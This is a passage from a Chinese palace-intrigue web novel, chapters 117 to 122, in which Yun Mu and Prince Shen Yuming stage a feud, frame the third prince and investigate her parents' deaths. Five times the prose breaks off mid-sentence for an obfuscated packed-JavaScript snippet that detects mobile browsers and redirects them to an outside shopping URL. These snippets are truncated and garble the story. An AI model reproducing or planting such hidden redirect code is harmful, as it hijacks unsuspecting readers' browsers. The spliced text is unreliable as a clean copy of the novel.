说道这里,侍卫突然住了嘴。太子不耐烦地敲了敲床,“淤血散去又如何?” 第一百一十七章 打折他的腿 侍卫一口气把话说完:“淤血散后,也有可能恢复不了记忆,抑或是记错错乱,从秦王的表现来看,他大抵是把云大人认成仇家了。” 太子的嘴角微微扬起,“当真?” 这个侍卫也就是徐文,他把头垂得更低了,他咬紧牙关,生怕漏出笑声,好一会儿才道:“此乃大夫原话,千真万确。” 不过这也正好,他们两人有矛盾,他便在后面坐收渔利。 “殿下,不好了,王爷和云大人闹起来了。” …… 回京前一晚,云暮正收拾着东西,身后的窗户传来声响,她头也没回,“怎么过来了?” 来人正是沈聿明。 他先是拐到门口探头看了几眼,才将门掩上,“明日就要回去了,睡不着,见你这边灯还亮着,就过来看看。” 他坐到床边,和云暮一起收拾,腰间的香囊垂到床上。 云暮勾过玉佩:“前几日咱在太子的眼线面前闹了一通,你当着这么多人的面把这块玉还了我,现下这么大喇喇地戴着,就不怕露馅?” 这玉她佩了两年,朝中无人不知,梁文帝还为此发了好一通脾气。 沈聿明毫不在意:“我这几日都躲在屋里不见人,他又见不着,明儿早上起来再摘了就是。” 他坐直身体:“突然解了这玉,腰间和心里都空落落的,不如你再给我送块玉?” 云暮双手一摊,向他展示空空如也的腰带:“家境贫寒。” 沈聿明勾着腰带把人带入怀中,把玩着她的一缕头发,“那这事就交给我,定叫云大人满意。” 云暮懒懒地倚在他身上,头在肩上找了一个好位置,闭眼喟叹:“突然就不想回京了。” 长长的睫毛落下一片阴影,遮住了眼下的青黑。 沈聿明靠在床头,掐着她的腰换了一个姿势,手有一下没一下地抚着她的后脑,“那我今晚就去把梁今越的另一条腿打折,再待上一个月。” 夏夜的晚风带着灼人的热意,太子却猝不及防地打了一个喷嚏,右眼皮也跳个不停。他搓了搓手臂,拿过外袍披在身上,“奇哉怪哉。” 云暮想象着太子双腿夹着竹片,在床上动弹不得的模样,噗嗤笑出了声:“莫闹,出来这么久,也该回去了。” 翌日早上,云暮和沈聿明刚打照面,两人又同时把脸扭到一旁,眼中的厌恶更是掩盖不住,小半个时辰的时间里,愣是一句话都没有同对方说。 太子在暗处看了好一会儿,才命手下把他推出去,“时候不早了,上路吧。” 云暮接过推车撵的活,殷勤地把太子扶上马车,沈聿明周身都围绕着乌云,锐利的眼神恨不得化成利剑,戳向马车内的人。 太子还当他在看车外的云暮,心里很是舒坦,决定恶心一下他:“皇弟不如同孤一道坐马车?” 沈聿明移开眼,冷冷道:“不用了。” 云暮放下车帘,恢复身份的徐文递上一张湿帕子,她将手指一根一根擦拭干净,翻身上马,打马走在最前头,沈聿明则落后她几步。 金吾卫将太子的马车围在中间,马车悠悠地往京城的方向走去,后头还跟着几个身穿囚服之人。 蓬头垢面,囚服也是破破烂烂,身上满是污垢,偶尔在他们抬头时才能辩出他们是那日在太子房中的那伙人,其中就有知府和顾老爷。 太子腿伤初愈,马车走得极慢。 一日因马车的车轱辘有些松动,云暮一行人只能暂做休整,后面即便加快速度,但也还是没能进得了城,只能在城外的一处林子扎营过夜。 篝火燃得极盛,云暮揪下一片草叶,指腹在被昆虫啃出锯齿状的位置摩挲,侧耳听了片刻,她反手扣在地上,抓到了一只蝗虫。 云暮把它丢进火堆,不一会儿就传来肉被烤焦的味道。 周围虫鸣不绝,云暮也没察觉到异样,而不远处的麦地里,青翠的麦叶上被啃得所剩无几,尤其中间的嫩芯。 一行人紧赶慢赶,终于回到了京城。马车没有片刻停顿,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632466|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停在朱雀门前。 一进勤政殿,帝后二人都坐在榻上,太子慢行至帝后身前,正欲行礼,梁文帝的手上的翡翠佛珠甩了甩:“听说你的腿才好,行礼就免了。” “来人,赐座。” 说罢,他强制让视线放在后面的沈聿明身上,“失忆了?还记得什么?怎么出去一趟都要朕操心个没完?” 沈聿明往前两步,站在梁文帝面前,把身后的云暮挡得严严实实的,他颤抖着声音问道:“父皇,他们都说母妃死了,我不信!” 帝后二人对视了一眼,都从对方眼中看到了意外,梁文帝皱眉道:“这是怎么回事?” 太子把郎中的话解释了一遍,梁文帝却不相信,“云卿,你来说。” 云暮的言辞与太子的毫无分别,“秦王并不允许臣给他号脉,亦不喝药,如今应是记忆有错乱,皇上不如宣个太医来给秦王看看。” 梁文帝压下上扬的嘴角,斥了一声:“胡闹!黄如海,去宣太医。” 太医反复诊了几次脉,指着沈聿明脑后的那道浅浅的疤痕道:“王爷头受过外伤,但如今淤血已散 ,按理说应当恢复记忆了才是,但许是不肯看病吃药,误了治病的好时机,这才导致记忆混乱。” 沈聿明不悦地拍开太医的手,“庸医,胡说什么,父皇,母妃当真如他们所说,不在了吗?” 再次提起那个人,梁文帝神情恍惚,多年前,沈意抱着刚出生的孩子对他扯出一个虚弱的笑,“皇上,我们有孩子了。” 他默了许久,招手把沈聿明叫至身旁,拉过他的手,拍了两下,“都下去吧,朕想一个人待会儿。” 云暮原想出宫,但转念一想,转头往冷宫的方向走去。她掏出帕子:“阮常在,这个帕子上的图案,你认得?” 阮常在木木地看了她一眼,“我不过一个废妃,当不起云大人这声阮常在。” 梁文帝今日受了刺激,要不了多久就会来冷宫,云暮不与她废话:“把你知道的都告诉本将军!” 第一百一十八章 猜测 从冷宫出来后,云暮失魂落魄地走在宫道上。不知不觉间,她来到长乐宫前,宫门上俊逸的三个大字刺得她眼睛疼。 门口久久站着一个人,吸引了宫人的注意,太监惊讶道:“云将军,您怎么来了,可是皇上有要事找我们娘娘?” 云暮回过神,她张了张嘴,却不发出声音,良久,她终于找回了声音:“皇上命本将军来问问贵妃近日的身子可还好。” 太监讨好道:“娘娘一切都好,奴才去通禀一声。” 云暮把人拦住:“不用惊扰娘娘,皇上那边还等本将军去回话。” 红袖从小厨房出来时,只看到了一抹背影,她问道:“谁来了?” 太监笑道:“皇上派云将军来问我们娘娘安。” 红袖没把这件事放在心上,也并未和贵妃提及。 云暮特意绕到未央宫。 十年前,云府在大通坊,从未央宫出来后,应是往西边走,从掖庭的方向出宫,再从兴义街往南,一路直到大通坊。来回一个时辰的路,她在家中等到日暮,最后等来了爹娘的尸首。 从未央宫走到长乐宫的路上,云暮看着面前的岔路犯了难,不知她爹当年走的哪条路。 她从腰间的荷包里取出那枚铜钱,往上一抛,铜钱在地上转了好一会儿,正面朝上,云暮弯下腰拾起铜钱,朝左手边的大道走去。 初时宽,不多时,只剩下一条狭窄的小径。云暮犹豫了片刻,还是抬步继续往前走。在经过假山时,听到假山后传来细微的声响,她拔出匕首,抵在那个抓着她的人的脖间。 “是我。” 云暮收回匕首:“王爷,你要再不出声,喉管就要被下官划破了,你不是出宫去了,怎么会在此处?” 沈聿明把人压在假山上,“这话该本王问你才是,方才我明明看见你往宫门口的方向去了,一眨眼你人就不见了,找了人问才知道你压根没出宫。” 见她不语,沈聿明揉开她紧皱的眉头,“可是有什么发现?” 云暮看着他,欲言又止:“王爷。” 正要说些什么,交谈声由远及近,云暮环顾四周,欲找一个能藏人的地方,再人走到假山前,沈聿明把人拉进了假山中。 假山里的空间不大,他们只能贴在一起,云暮从缝隙里看着宫人毫无察觉地停在他们不远处,剪着花。 “贵妃娘娘怎么就非得要这个园子里的花?” 另一个宫女剪下一朵开得正好的花,举在空中欣赏了好一会儿:“你别说,这儿的花就是比其他地方长得好,就连御花园的都要逊色几分。” “这儿虽然偏了点,但娘娘喜欢,怀上龙胎前,总是经常来这里赏花。 “快剪吧,要是回去晚了,又该挨罚了……” 云暮仰头,在沈聿明的耳边道:“是贵妃宫里的人。” 竹香和雪松香混合,在这一方天地蔓延,因着姿势的关系,云暮的呼吸拂过沈聿明的脖子,他的耳根顿时红了。 沈聿明往后仰了仰身体,动作间,假山上的碎石滚落,吸引了那两个宫人的视线。 云暮抓着他的小臂,“别动。” “什么动静?” 其中一个拿起地上的花篮说道:“不过是几块落石,快些回去罢。” 等两人再也没了踪影后,云暮才从假山里出来,“要是方才被她们发现,之前的戏就要被人揭穿了。” 沈聿明也有些后怕,但依旧嘴硬道:“死人不会说话,被发现了就把她们灭口。” 说完,他转移话题:“你发现了什么?” 云暮四下张望,确定无人之后,她掏出那张帕子,指着上面的图案说道:“这个图案和之前那些匕首上的花纹很像。” 帕子还没绣完,但只要见过帕子的人很快就能认出,沈聿明拿起帕子,问道:“你从哪里得到的?” “贵妃宫里的阮常在。” 云暮紧紧握着刀柄:“我怀疑我爹娘的死和贵妃有关。” 说罢,空气像是凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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摘星阁上,风声猎猎,监工落后云暮半步,说着这两个月的情况:“先前京城下大雨,停了几日的工,但因这场大雨,产了一大批的黏土砖,造瓦司说先紧着摘星阁,绝对不会误了大人您的差事……” 云暮手持一根木棍,四下敲着,确认是否有空心,又仔细查看了堆放在角落的木料,都没发现任何问题后,她将木棍丢给监工:“本将军不再的这些时日,可曾有人来做手脚?” 监工如实道:“有,但小的日夜派人巡逻,已经将他们拿下,并未让他们得逞。” 正说话间,一小工来报:“云将军,裴大人来了。” 两人寒暄了一番后,裴然道:“云大人,本尚书日日都来摘星阁,没给人留下可乘之机。” 云暮当然知道他想问的什么,想起“遗漏”的那几根木料,她笑道:“本将军一向言出必行,江南之事已经办妥,裴大人往后尽可高枕无忧。” 堤坝建成才三年,每年都派人检查维护,但还是被洪水冲塌,工部这次便派了侍郎南下重修堤坝。 但听闻他修堤坝有一手,且只让户部批了十万两银子,裴然想从中做些手脚,投进去的钱比得到的不知要少上多少。 布政坊,将军正带着人在演武场演练,云暮施施然走到他身边,负手而立。 “上将军。” 云暮“嗯”了一声,“等会儿让冯章来找我。” 云暮才批了一会儿公文,冯章的声音就在外头响起:“大人。” “进。” 云暮搁下笔,“李天他们如何了?” 冯章道:“前几日有人去京兆尹报官,说他的兄长不知去了何处,正巧那日属下去京兆尹办事,便多嘴问了一句,才知那人是李天的弟弟,名唤李海。” 云暮皱眉:“李海?弟弟?” 冯章道:“没错,但先前查李天时,并未听说他有兄长,属下就把人扣下,审了他几句。” “李海先前一直在江南,只有过年时才会来京城小住几天,年后又回江南,说是做卖菜工。大人,属下觉得他在撒谎,但不管怎么问,他都是这个说辞。” 风将案上的纸张垂落在地,云暮弯腰捡起,一直藏在袖口的帕子突然飘落。 冯章替他捡起,定定看着上面的花纹,只觉得格外眼熟,“大人,属好像在哪里见过这个花纹。” 云暮说道:“涿州,那伙胡人身上就佩有这个样式的匕首。” 冯章摩挲着下巴,摇头道:“不是涿州,而且应该是最近。” 云暮腾的一下站起身:“什么时候?在何处?” 冯章只当他是怕有胡人在京中作乱,沉思了一会儿,他终于记起:“没记错应该是在李天家见过,也是一把匕首,只是他那把要旧得多。” 云暮压下心中的激动,冷静道:“匕首?现在在何处?” 冯章一溜烟跑了出去,很快又捧着一个盒子回来:“大人,就是这个,你走之后,属下又带人去李天家搜了一回,匕首在他枕头里找到的。” 云暮抚着上头的花纹,刀柄处还有一个已经褪了色的“李”字,跟在她家的那两把一摸一样! “去审李天。” 即便拿着匕首前去,但李天依旧咬死说是他从外头捡回来的,并不知花纹和“李”字是何意。 “云将军,大人请您进宫一趟。” 云暮弹了弹袖口,“把人看好。” 午门外,云暮停下脚步,“这是?” 随行的太监掀开白布的一角,解释道:“是太子的人,昨夜死在了太子府,太子今儿特来向皇上讨个公道。” 他压低了声音说道:“贵妃和三皇子也来了。” 为了让徐文恢复身份,也为了把栽赃一事做得更逼真,她昨儿给徐文下了命令,今天要走这一趟也在她的预料中。 今天的勤政殿比她刚回京那日还要热闹,殿外跪着不少人,殿内又足足站了七人,再多她一个,可以凑足两桌人一起打马吊。 正要行礼,就被梁文帝扶住,皇后欲言又止, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632468|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下的无人也都齐刷刷地盯着他们二人。 “太子说有人炸山,欲将你们二人埋在乱石中?” 云暮挣开他的手,往后退了几步:“回皇上,确有此事。” “发生这么大的事,你怎么瞒着朕?可有伤到哪?”梁文帝边说边要上前。 云暮视线下移,冷冷地盯着他的鞋面,硬生生让他止了脚步,“臣被太子殿下和金吾卫护在身下,并未受伤。” 梁文帝还是不大放心,“朕派人去宣太医。” 云暮道:“皇上,臣未受伤,就不劳烦太医了,倒是刚才在来的路上,在午门前看到了几句尸首。” 话题回归正途,太子终于有了发挥的地方,“父皇,儿臣的亲卫于昨日莫名其妙死在太子府,今日一早,盘问了府中人后得知,贼人往三弟的府上去了,再也没有出来。” 云暮挑了挑眉,昨儿徐文是把人杀后才将他们送回了太子府,之后就一直藏在了太子府,直到宵禁解了才离开,太子这是硬把帽子往三皇子头上扣啊。 梁承熙怒道:“皇兄,即便你是太子,也不可血口喷人,昨日 我一直都在当值,如何能派人去你府上杀人?” 太子冷笑道:“你连手都能伸到江城,命流寇将孤和云大人一同炸死,区区太子府对你来说又算什么?” 儿子被人污蔑,贵妃怀着孕脾气本来就大,听了太子的话,立即就炸了:“太子殿下,凡事都要讲证据,您嘴巴一张一合,就把帽子扣在承熙的头上。” 她转而看向梁文帝:“皇上,您要为臣妾和承熙做主啊。” 太子指着在门前跪着的人道:“他们便是证据。” 梁文帝看着他们闹了一阵,终于开口:“把人带进来。” 一身臭味扑鼻而来,云暮在鼻子前挥了好一会儿才适应这个味道。 梁文帝问道:“你们得了三皇子的信要炸死他们?” 几人闻言都纷纷点头,却是一句话也不说。 “哑巴了?” 第一百二十章 夜潜长乐宫 太子早就想好话术:“父皇,他们在审问时出言不逊,说您偏宠,儿臣这才命人割了他们的舌头。” “是吧,云将军?” 云暮垂下眼,说道:“殿下审问时,臣并未在场,不知此事。” 但她话锋突然一转:“但太子当着侍卫的面审问,想来也不会有错。” …… 贵妃母子和太子当庭对峙,云暮不想再次被殃及鱼池,往后退了几步,见到旁边是沈聿明时,她不悦皱眉,又往旁边挪了几步。 沈聿明亦是如此。 一直沉默的皇后把他们的动作收进眼底,这两日,有关他们的传言传得轰轰烈烈,今日上朝更是有人仗着沈聿明记忆混乱,直接去问了他,沈聿明毫不掩饰他对云暮的厌恶。 皇后心里有了成算,同时她也在等,等云暮何时会向她低头认错。 贵妃仗着怀有身孕,屡次折腾皇后,崔相面圣时,隐晦地提过此事。而且近来梁承熙的手伸得有些长了,还敢动了他给太子准备的人,梁文帝也想敲打敲打他。 太子又拿出了几封书信:“父皇,这是他们来往的书信,父皇不如派人去三弟的府上搜查一番,看看是否还留有证据。” 三皇子却不大乐意:“莫须有的罪名,为何要去搜我的府?” 梁文帝:“云卿。” 云暮推脱道:“皇上,微臣身在局中,得避嫌。” 梁文帝只好让黄如海带人前去搜查。 一行人在勤政殿等了许久,就在梁文帝不耐,黄如海终于回来了,手中还捏着几封信。 三皇子喃喃道:“不可能,我没做过,哪里来的信?” 梁文帝越看心越沉,他手一挥:“逆子,你做的好事!” 信洋洋洒洒飘落,三皇子忙捡起其中一张,翻来覆去看了好几遍,上面的自己同他的完全一模一样。 “不可能,父皇,这事儿臣没有做过,是他们污蔑儿臣?若真是儿臣所为,怎么会留下把柄呢?” 太子眨了眨眼,隐住精光,起身时,嘶了一声。 梁文帝指着他的腿怒道:“你说太子为了诬陷你,不喜毁了自己的一条腿?还是说云卿为了诬陷你,差点把命留在了那个山涧?” 皇后终于开口,她哽咽道:“皇儿平日谨小慎微,一直以皇上为榜样,他怎么可能会做出这种害人害己的事?况且先祖曾言,身体有疾就一辈子与储君和皇位无缘,他身为太子,又怎会以身犯险?” 云暮悠悠补上一句:“若是三殿下有什么喜欢回顾往事的癖好,我们也不得而知啊。” 这话无异于在火上浇油,虽然说的不是他,可有这种癖好的梁文帝总觉得云暮在指桑骂槐,他又指着梁承熙好一顿骂。 信在他府上搜到的,字迹是他的,那些人也都承认是得了他的指使才痛下杀手,供词上,就连埋火药的时间都写得一清二楚,沈承熙有口难辨,他求助地看向贵妃。 贵妃这么多年就得了这一个孩子,她剜了云暮一眼,捂着肚子喊道:“皇上,臣妾的肚子好疼。” …… 内务府的总管太监见了云暮,一把推开身边的人,兀自迎了上去:“这不是云大人嘛,什么风把您吹来了?您需要什么,只用吩咐底下的人一句,奴婢就能替您把事情办妥。” 不过几载,从前在他面前恭恭敬敬的小太监摇身一变成了上将军,而他做到内务府总管也算到了头了。 云暮径直往放后宫簿籍的地方走去:“本将军今日来是为了查看废妃的簿籍,一眼的事,哪敢劳烦公公。” 这两日,云暮重得圣心,方才皇上还派内务府往云府送东西,即便他是内务府总管,对金银珠宝已经司空见惯,但那些赏赐还是看得他眼花。 他以为云暮是奉了皇上的命令来查看,没有丝毫怀疑,领着人就往里面走去。 到门口时,云暮停住脚,微微偏头,眼却没有落在总管身上,总管了然,“云大人您慢慢瞧着,下官还有事,先告退了。” 云暮轻点了一下头,随手将门掩上。 贵妃的簿籍就在皇后旁边,倒是不难找,只是上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632469|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面不过寥寥几句就把她入宫前的生活说清了,和沈聿明之前说的没有什么太大的出入。 云暮记下上面的地址,神色如常地出了门,她倒是不急着出宫,今夜轮到她在宫里值守,正好潜去贵妃宫中搜寻一番。 月光清冷,却还是没能压住夏日的热气,云暮借着墙外的树翻进了长乐宫,树叶沙沙作响,墙内的虫鸣声却忽然停了。 从窗外往里看去,白天还叫唤着肚子疼的人如今正吃着冰碗,鲜奶往刚敲出来的冰上一浇,配上切好的水果,最上层再浇些蜂蜜,正是降暑的好法子。 梁文帝虽禁了贵妃的足,但却不许宫人克扣她的东西,若是龙胎因此有损,内务府的人都得陪葬。 云暮无声地往阮常在说的偏殿走去,她从怀中摸出一颗夜明珠,动作放得极轻,但转身时一个没注意,后脚跟撞到了木箱上。 路过的宫女举着灯笼,厉声道:“谁在里面?” 钥匙插进锁孔的转动声传了进来,云暮思考着翻窗而出的可能性,她在怀中摸了 摸,双眼一亮。 门开的一瞬间,一条青蛇蹿到了宫女面前,对她吐了两下信子,躲进了外面的草丛里。 宫女尖叫了一声,倒在了地上。 红袖闻声赶来,斥道:“这么晚了,娘娘都要歇下了,你嚷嚷什么?” 看见大开的门口,她瞪了宫女一眼:“什么东西,娘娘的库房也是你能开的?” 宫女指着院中的草,惊恐道:“红袖姑姑,有……有蛇!方才奴婢听到有声音,怕是贼人,就想打开门看看,结果蛇就从里面跑了出来。” 红袖往里看了一眼,抬脚踹了她一下:“你自己放出来的蛇,还不快去取雄黄!若是娘娘受了惊吓,你就等死吧。” 宫女哆嗦地把门重新锁上,将钥匙还给红袖,忙不迭地往另一个库房走去。 云暮赞许地摸着小青的额头,小声道:“回去给你吃好吃的。” 说罢,她把小青缠在手上,继续翻找,打开了最里面的箱子时,她神色一凛。 第一百二十一章 夜闯值房 云暮再宫里值守时,都住在值房,以前她还是太监时住的房间连同周围的几间都被人特意空了出来,围成了一个单独的院子,但没有她发话,寻常人不敢轻易进去。 还没回到值房,远远的就看见房内掌着灯,即便云暮已经猜到是谁,推门而入时,她还是没压住眼中的厌恶。 她阴阳怪气道:“皇上,您万金之躯,怎么屈尊来这等污秽之地?” 空荡荡的房里,一尘不染,梁文帝着一身明黄色里衣坐在床边,见人进来,他局促起身。 “朕听说你今夜在宫中,过来看看,过来给朕瞧瞧你身上的伤。” 如今房中只有两人,云暮笃定梁文帝不敢拿她怎么样,不愿再忍,毫不留情地拍掉他的手。她用了十成的力,在梁文帝的手背留下一道红痕。 “我说了没有受伤!” 素白的手腕一闪而过,梁文帝喉间滚动了两下,遗憾地看了一眼袖口,这时他才察觉到手背传来的痛意,心里浮出一种异样的感觉。 被他这样盯着,着实恶心,云暮退到门口,将两扇门都打开,“皇上,您不该来这里,请回吧。” 梁文帝脚步未动,不经意问道:“朕听说你在江南很宠一个叫沉玉的人?同吃同住,当真快活。” 云暮倚在门边,视线自上往下,轻笑了一声:“是又如何,皇上要问臣的罪吗?” 又出言刺激:“他模样生得好,人也年轻,也心甘情愿伺候臣这个阉人,臣为何要拒绝?” 云暮说一句,梁文帝的脸黑一分,他垂头看着不再光滑的手背,披散在在胸前的发也带了不少银丝,他已经年过半百了,终日操劳,深吸了几口气后,他怒道:“住嘴,你莫要仗着朕宠你就可对朕不敬!” 云暮捏紧了手臂,一字一句道:“怎么,你又想故技重施,让臣再受一遍当初的屈辱吗?” 梁文帝气得脸都红了:“够了,朕待你如何,你还感受不到吗?非要说这些话来戳朕的心。” 云暮轻蔑地扯了扯嘴角,“几次三番闯进臣的府上,还两次只穿成这样出现在臣的房中,皇上,这便是待臣好?难道不是在勾引臣吗?” 这话把梁文帝说得又羞又臊,他确实是存了这种心思,但被正主当面揭穿,他下意识否认,“朕怎么会做这种有失身份的事?” 云暮笑得更大声了,引来了几个换值的太监,他们探头看向云暮的位置:“云将军,您没事吧?” 云暮却不看他们,反倒轻声说道:“皇上,要不臣把他们叫进来,让他们看看高高在上的皇上夜半闯进太监住的值房,就只是为了得到臣的垂怜。” 听到“垂怜”二字,梁文帝的心跳得更快了,但他还是一句话都没说。 云暮偏头看向那两个太监,对他们勾了勾手指:“进来。” “云暮,放肆!让他们滚。” 云暮置若罔闻,甚至催促着太监快些。 梁文帝吞了吞口水,试图在房中找一个能藏人的地方,但房中空荡荡的,仅有一床一桌,还有几张摇摇欲坠的椅子。 梁文帝闭了闭眼,“让他们走,朕往后不来就是了。” 这两个太监的嘴捂得住,但他捂不住云暮的嘴,而且若是让黄如海带人来处理,这事更捂不住,他明天只怕会被御史的唾沫星子淹死! 达到目的,云暮长腿一勾,带上了半扇门,挡住了太监的视线:“无事了,下去吧。” 云暮的喜怒无常,他们也有所耳闻,看着窗上映出一个人影,了然对视,心道:在宫中就敢行这等秽乱之事还不被罚的,也就只有云暮了。 临走前,那两个太监同时跪地,自荐枕席:“奴婢齐鸿(杜方),云大人身边若是缺人,我等愿随侍。” 云暮收了笑,原想一刀将人砍了,但看到梁文帝的表情,她笑着应了:“行啊。” 两个不知死期已至的太监幻想着今后的美好日子,飘飘然地走了。 云暮退到院中,将地上的灯笼踢向角落的暗处:“请吧。” 火光映出暗一的身影,他捡起灯笼,从阴影处走出,避开人带着梁文帝回了勤政殿。 暗一临走前,梁文帝突然开口:“前儿内务府送了一床新被褥,给他送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632470|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 上次不过是在他云府的房里坐了片刻,就能火烧云府,今儿他不烧宫里的东西,但往后也不会再进去住了。 “还有,把那两个太监处理了。” 云暮确实嫌弃那间房,连带着周围的几间都觉得恶心,她想了许久,决定去上次的那座假山里凑合一晚。 才出院门,就看到捧着被褥的暗一,云暮绕过他就要走。 暗一嘶哑的声音响起:“云将军,皇上命属下来给您送东西。” 上头鸳鸯戏水的图案着实刺眼,云暮拔出匕首,在缎面上狠狠划了几下,直到看不清上头纹着的图案,长软的棉花散了一地,匕首抵在他的面具上:“带上东西滚,再拿这些东西来恶心本将军,下一次划烂的就是你的脸。” 梁文帝固然恶心,但几次三番助他的暗卫也不无辜,她奈何不了梁文帝,但拿他身边的人来泄泄愤还是可以的。 暗一沉默地捡起地上 的东西,看着云暮的背影逐渐远去,最后消失不见。 云暮支着一只腿,背靠着崎岖不平地假山坐在地上,才酝酿出几分睡意,就听到一阵脚步声,而后一个人闯进了这个狭窄的洞中。 洞中昏暗不明,来人看不清地上人的脸,恳求道:“就让我在这里躲一躲,求求了。” 夜明珠被掏出的那一刻,宫女的脸色瞬间变惨白:“云大人饶命,奴婢不知是您。” 宫女自觉命不久矣,当下就要出去。 “过来。”云暮解开外袍,挂在一旁的石头上。 “那边有声音。” “出来。” 外面是拔剑出鞘的的声音。 云暮站在洞口,侧身挡住一边,“蠢东西,连本将军都认不出来了,还敢拔剑?要不要本将军把脖子伸到你们的剑上?” 夏风怂恿着云层遮住月华,太监手中的灯笼一抬,一行人瞬间跪在了地上,“奴婢追一个偷盗的小宫女至此,不知云大人在,多有冒犯,敢问云大人,不知可否看见此人?” 云暮双眼微眯,冷声道:“你在质问本将军?” 第一百二十二章 李家之事 “奴婢不敢。” 嘴上说着不敢,双眼却抬起,试图从洞口窥见其中光景,却只能看见一件纹着四爪蟒的红衣。 “没有。”云暮依旧维持着方才的动作。 太监显然不信。 云暮放下横在洞口上的手,让了他半步,笑问∶“要不你进来搜搜?” 嘴角带笑,但眼中满是森冷,太监知道,若是敢进去半步,他的这颗人头立马就要落地,“不叨扰云大人休息了,奴婢这就带人告退。” 云暮弯腰钻回洞中:“滚。” 直至脚步隐去,云暮这才取下外袍,重新穿回身上,“起来吧,人已经走了。” 一面是被人紧咬不放,一面是罗刹,宫女惊魂未定,“云大人救命之恩,奴婢必涌泉相报。” 云暮垂头系着腰带,问道:“你偷了何物?” …… 宫门才开,云暮揉着酸痛的肩往外走去,回云府倒头就睡,一觉睡到午间才算清醒。 沈聿明不在身边吵个不停,十五也没下学,府中又恢复了从前的死气沉沉,云暮多少有些不习惯。 她朝天吹了一声口哨,不多时,一只白鸽扑棱着翅膀落在窗台,将一张字条放进腿上的竹管中,“去吧。” 回房换了一身衣裳后,又把软剑束在了腰上,背上一个小包袱就出了门。 城外的亭子里,沈聿明已经等候多时,即便云暮面色如常,他还是察觉出不对,想到梁文帝对云暮的态度,他心里有了一些猜测,但很快就把情绪隐藏了起来。 他做作地撩起耳边的一缕头发,头一偏顺势把头发往后甩去:“常言道,一日不见,如隔三秋,看来本王在云大人的心中还是很有分量的,瞧瞧,才两日没说话,就愁得跟个小苦瓜似的。” 云暮皱眉看他,眼神里带着不解:“你这是……” 但不得不说,被他这一闹,心情好上了不少。 沈聿明乘胜追击,“想我了吗?” 云暮看出他眼底的期待,朝他走了几步,双手环着他的腰,把头埋进他怀里,“想。”雪松味将她笼罩在其中,冲淡了昨夜的记忆。 自从云暮应了他之后,绝大多数都是他在主动,沈聿明被这她突如其来的动作惊在了原地。 他小心翼翼地环住云暮,一只手轻抚着她的后背,许多话想问都没有问出口,但直觉告诉他,云暮心情不好是因为梁文帝。 就这样静静待了好一会儿,云暮推了推他,从怀里退了出来,轻咳了两声后她假装抬头看天,说道:“我们走吧,否则今晚就赶不回来了。” 沈聿明快步上前,与她并肩而行,“这不正好,想来村子里的人也不会有太多空余的房间,勉强给我们空出一间,反正在江南时又不是没有……” 云暮捂嘴他的嘴:“那只是小憩!” 见她心情好了,沈聿明拿下她的手,但并未放开,另一只空闲的手将字条递回给她:“这什么地方?” 字条里只问了他要不要去这里,但并未说明缘由,怕云暮抛下他率先走了,他抛下公务,回王府做了伪装后,忙骑着奔云直奔城外。 云暮接过,将字条撕成碎片,“这是李天的老家,归青河县管,昨儿我去内务府查看了后妃的簿籍,发现贵妃也是青河县的人,但奇怪的是,上边并没有确切的住址。” “青河县?但我记得母妃是在青阳县将她买下的。” 青河青阳两县离得并不算远,距离京城也都只有一个半时辰的路程,两人决定两个地方都去查探一番。 一个半时辰后,云暮和沈聿明出现在了李天的老家,两个男子都气宇轩昂,衣服的面料看起来非等闲人能买得起,一个虽然相对矮些,但气质不输另一个,很快就吸引了村民的注意。 